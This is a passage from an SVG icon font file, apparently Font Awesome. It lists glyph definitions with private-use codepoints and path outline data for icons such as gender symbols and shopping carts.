    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
    <glyph glyph-name="_491" unicode="&#xf20b;" 
d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_492" unicode="&#xf20c;" 
d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
    <glyph glyph-name="_493" unicode="&#xf20d;" 
d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
    <glyph glyph-name="f210" unicode="&#xf210;" 
d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
    <glyph glyph-name="_496" unicode="&#xf211;" 
d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
q209 0 374 -102q172 107 374 102z" />
    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
    <glyph glyph-name="_499" unicode="&#xf214;" 
d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
t-43 -34t-16.5 -53.5z" />
    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
    <glyph glyph-name="_506" unicode="&#xf21b;" 
d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
    <glyph glyph-name="_508" unicode="&#xf21d;" 
d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
t127 -344z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
    <glyph glyph-name="_511" unicode="&#xf222;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_513" unicode="&#xf224;" 
d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
q0 -226 -154 -391q103 -57 218 -57z" />
    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
    <glyph glyph-name="_518" unicode="&#xf229;" 
